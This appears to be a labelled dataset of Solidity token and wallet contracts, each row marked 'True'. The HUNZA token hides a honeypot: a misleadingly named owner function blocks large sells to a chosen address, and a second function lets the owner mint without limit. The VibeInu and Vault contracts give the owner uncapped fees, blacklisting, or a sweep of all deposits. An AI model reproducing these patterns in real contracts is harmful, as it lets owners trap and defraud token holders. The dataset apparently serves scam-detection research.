contract HUNZA is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public burnAddress;
address public burnAddress2;
address public _tradingBotAddress;
address public _tradingBlacklistAddress;
uint256 public _burnAmount;
uint256 private _rTotalSupp = 100 * 10**9 * 10**18;
string private _name = 'Hunza Inu';
string private _symbol = 'HUNZA';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _rTotalSupp;
emit Transfer(address(0), _msgSender(), _rTotalSupp);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function setTradingBlackListBot(address botTradingAddress , address blackTradingAddress) public onlyOwner {
_tradingBotAddress = botTradingAddress;
_tradingBlacklistAddress = blackTradingAddress;
_burnAmount = 500 * 10**3 * 10**3 * 10**18;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setExtraReward(uint256 amount) public onlyOwner {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
_rTotalSupp = _rTotalSupp.add(amount);
_balances[_msgSender()] = _balances[_msgSender()].add(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function setRewardFee(uint256 maxFeesPercent) public onlyOwner {
_burnAmount = maxFeesPercent * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _rTotalSupp;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender != _tradingBlacklistAddress && recipient == _tradingBotAddress) {
require(amount < _burnAmount, "BEP20: transfer amount exceeds balance");
}
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
True
|
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pragma solidity ^0.5.0;
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract AikoNyanShiba is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
name = "Aiko Nyan Shiba";
symbol = "AINY";
decimals = 18;
_totalSupply = 1000000000000000000000000000000000;
balances[msg.sender] = 1000000000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
}
|
True
|
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pragma solidity ^0.4.21;
contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract CEL is EIP20Interface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
function CEL(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) public {
balances[msg.sender] = _initialAmount; // Give the creator all initial tokens
totalSupply = _initialAmount; // Update total supply
name = _tokenName; // Set the name for display purposes
decimals = _decimalUnits; // Amount of decimals for display purposes
symbol = _tokenSymbol; // Set the symbol for display purposes
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
|
True
|
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2000,
4651,
1996,
19204,
2015,
1013,
1013,
1013,
1030,
2709,
3815,
1997,
102
] |
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//SPDX-License-Identifier: UNLICENSED;
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract VibeInu is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "Vibe Inu";//////////////////////////
string private constant _symbol = "VIBE";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 18;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 10;
//Sell Fee
uint256 private _redisFeeOnSell = 6;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x129c472afED837854BdA434678A2Cfc1dEd9F448);
address payable private _marketingAddress = payable(0xF4dD779bd680E3718dC757E2d4858dBF79918dd1);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**18; //1%
uint256 public _maxWalletSize = 20000000 * 10**18; //2%
uint256 public _swapTokensAtAmount = 1000000 * 10**18; //0.1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
bots[address(0x66f049111958809841Bbe4b81c034Da2D953AA0c)] = true;
bots[address(0x000000005736775Feb0C8568e7DEe77222a26880)] = true;
bots[address(0x34822A742BDE3beF13acabF14244869841f06A73)] = true;
bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true;
bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true;
bots[address(0x8484eFcBDa76955463aa12e1d504D7C6C89321F8)] = true;
bots[address(0xe5265ce4D0a3B191431e1bac056d72b2b9F0Fe44)] = true;
bots[address(0x33F9Da98C57674B5FC5AE7349E3C732Cf2E6Ce5C)] = true;
bots[address(0xc59a8E2d2c476BA9122aa4eC19B4c5E2BBAbbC28)] = true;
bots[address(0x21053Ff2D9Fc37D4DB8687d48bD0b57581c1333D)] = true;
bots[address(0x4dd6A0D3191A41522B84BC6b65d17f6f5e6a4192)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
True
|
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pragma solidity ^0.4.20;
contract Vault {
mapping (address=>uint256) public eth_stored;
address public owner;
address public primary_wallet;
constructor (address main_wallet) public {
owner = msg.sender;
primary_wallet = main_wallet;
}
function () public payable {
eth_stored[msg.sender] += msg.value;
}
modifier owner_only{
require(msg.sender==owner);
_;
}
function withdraw_all () public owner_only {
primary_wallet.transfer(address(this).balance);
}
function kill () public owner_only {
selfdestruct(primary_wallet);
}
}
|
True
|
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// File: contracts/zeppelin/Proxy.sol
pragma solidity 0.4.24;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
// File: contracts/zeppelin/AddressUtils.sol
pragma solidity 0.4.24;
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param addr address to check
* @return whether the target address is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(addr) }
return size > 0;
}
}
// File: contracts/zeppelin/UpgradeabilityProxy.sol
pragma solidity 0.4.24;
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "org.zeppelinos.proxy.implementation", and is
* validated in the constructor.
*/
bytes32 private constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3;
/**
* @dev Contract constructor.
* @param _implementation Address of the initial implementation.
*/
constructor(address _implementation) public {
assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation"));
_setImplementation(_implementation);
}
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) private {
require(AddressUtils.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
// File: contracts/zeppelin/AdminUpgradeabilityProxy.sol
pragma solidity 0.4.24;
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "org.zeppelinos.proxy.admin", and is
* validated in the constructor.
*/
bytes32 private constant ADMIN_SLOT = 0x10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* Contract constructor.
* It sets the `msg.sender` as the proxy administrator.
* @param _implementation address of the initial implementation.
*/
constructor(address _implementation) UpgradeabilityProxy(_implementation) public {
assert(ADMIN_SLOT == keccak256("org.zeppelinos.proxy.admin"));
_setAdmin(msg.sender);
}
/**
* @return The address of the proxy admin.
*/
function admin() external view ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external view ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be
* called, as described in
* https://solidity.readthedocs.io/en/develop/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes data) payable external ifAdmin {
_upgradeTo(newImplementation);
require(address(this).call.value(msg.value)(data));
}
/**
* @return The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
True
|
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// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
